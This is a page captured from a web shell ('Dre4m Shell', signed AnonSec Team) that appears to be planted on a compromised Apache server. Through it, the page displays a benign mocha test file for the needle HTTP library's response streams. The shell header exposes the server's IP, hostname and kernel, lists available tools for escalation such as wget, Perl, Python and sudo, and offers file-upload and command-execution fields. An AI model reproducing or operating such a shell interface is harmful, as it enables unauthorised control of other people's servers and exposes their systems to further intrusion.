Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.135.240.57
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/proc/3/cwd/usr/lib/node_modules/pm2/node_modules/needle/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/proc/3/cwd/usr/lib/node_modules/pm2/node_modules/needle/test/response_stream_spec.js
var should = require('should'),
    needle = require('./../'),
    http   = require('http'),
    stream = require('stream'),
    fs     = require('fs'),
    port   = 11111,
    server;

describe('response streams', function() {

  describe('when the server sends back json', function(){

    before(function() {
      server = http.createServer(function(req, res) {
        res.setHeader('Content-Type', 'application/json')
        res.end('{"foo":"bar"}')
      }).listen(port);
    });

    after(function() {
      server.close();
    })

    describe('and the client uses streams', function(){

      it('should create a proper streams2 stream', function(done) {
        var stream = needle.get('localhost:' + port)

        // newer node versions set this to null instead of false
        var bool = !!stream._readableState.flowing;
        should.equal(false, bool);

        var readableCalled = false;
        stream.on('readable', function() {
          readableCalled = true;
        })

        stream.on('done', function() {
          readableCalled.should.be.true;
          done();
        });

        stream.resume()

      })

      it('emits a single data item which is our JSON object', function(done) {
        var stream = needle.get('localhost:' + port)

        var chunks = [];
        stream.on('readable', function () {
          while (chunk = this.read()) {
            chunk.should.be.an.Object;
            chunks.push(chunk);
          }
        })

        stream.on('done', function () {
          chunks.should.have.length(1)
          chunks[0].should.have.property('foo', 'bar');
          done();
        });
      })

      it('emits a raw buffer if we do not want to parse JSON', function(done) {
        var stream  = needle.get('localhost:' + port, { parse: false })

        var chunks = [];
        stream.on('readable', function () {
          while (chunk = this.read()) {
            Buffer.isBuffer(chunk).should.be.true;
            chunks.push(chunk);
          }
        })

        stream.on('done', function() {
          var body = Buffer.concat(chunks).toString();
          body.should.equal('{"foo":"bar"}')
          done();
        });
      })

    })
  })

  describe('when the server sends back what was posted to it', function () {
    var file = 'asdf.txt';

    before(function(done){
      server = http.createServer(function(req, res) {
        res.setHeader('Content-Type', 'application/octet')
        req.pipe(res);
      }).listen(port);

      fs.writeFile(file, 'contents of stream', done);
    });

    after(function(done){
      server.close();
      fs.unlink(file, done);
    })

    it('can PUT a stream', function (done) {
      var stream = needle.put('localhost:' + port, fs.createReadStream(file), { stream: true });

      var chunks = [];
      stream.on('readable', function () {
        while (chunk = this.read()) {
          Buffer.isBuffer(chunk).should.be.true;
          chunks.push(chunk);
        }
      })

      stream.on('end', function () {
        var body = Buffer.concat(chunks).toString();
          body.should.equal('contents of stream')
          done();
      });
    });

    it('can PATCH a stream', function (done) {
      var stream = needle.patch('localhost:' + port, fs.createReadStream(file), { stream: true });

      var chunks = [];
      stream.on('readable', function () {
        while (chunk = this.read()) {
          Buffer.isBuffer(chunk).should.be.true;
          chunks.push(chunk);
        }
      })

      stream.on('end', function () {
        var body = Buffer.concat(chunks).toString();
          body.should.equal('contents of stream')
          done();
      });
    });
  })
})

Anon7 - 2022
AnonSec Team